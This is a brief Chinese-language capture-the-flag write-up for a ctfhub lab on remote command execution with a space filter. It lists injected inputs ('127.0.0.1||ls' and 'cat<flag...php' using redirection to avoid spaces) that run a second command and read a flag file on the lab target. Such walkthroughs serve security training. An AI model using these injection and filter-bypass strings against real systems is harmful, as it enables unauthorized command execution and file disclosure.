ctfhub技能樹—RCE—過濾空格

打開靶機

查看頁面信息

開始嘗試注入

127.0.0.1 || ls

嘗試繞過

127.0.0.1||ls

使用cat命令查看flag

127.0.0.11||cat<flag_10872536812766.php

拿到flag

繞過空格過濾方法不少，詳情請自行百度搜索